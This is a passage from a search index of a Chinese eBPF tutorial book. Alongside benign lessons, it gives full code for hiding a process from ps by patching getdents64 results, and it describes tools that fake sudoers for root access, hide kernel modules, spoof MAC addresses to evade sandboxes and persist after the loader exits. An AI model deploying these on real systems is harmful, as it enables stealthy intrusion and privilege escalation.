4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"150","title":"收集追踪"},"151":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"151","title":"卸载 eBPF 程序"},"152":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"152","title":"参考资料"},"153":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"153","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"154":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"154","title":"背景知识与实现机制"},"155":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"155","title":"内核态 eBPF 程序实现"},"156":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"156","title":"用户态 eBPF 程序实现"},"157":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"157","title":"编译运行，隐藏 PID"},"158":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容，包括如何使用 eBPF 进行网络和系统性能分析，如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息，进一步提升你的 eBPF 开发技能。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"158","title":"总结"},"159":{"body":"编译： make 使用方式： sudo ./bpfdos 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 bpf-dos 开始运行，你可以通过运行以下命令进行测试： strace /bin/whoami","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 用 bpf_send_signal 发送信号终止恶意进程","id":"159","title":"用 bpf_send_signal 发送信号终止恶意进程"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS] <SOURCE_PATH> [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"160","title":"参考资料"},"161":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"161","title":"使用 eBPF 添加 sudo 用户"},"162":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"162","title":"参考资料"},"163":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"163","title":"使用 eBPF 替换任意程序读取或写入的文本"},"164":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"164","title":"参考资料"},"165":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"165","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"166":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"166","title":"eBPF 程序的生命周期"},"167":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"167","title":"运行"},"168":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"168","title":"参考资料"},"169":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » BPF Features by Linux Kernel Version","id":"169","title":"BPF Features by Linux Kernel Version"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include <linux/bpf.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版例如 Ubuntu 默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF 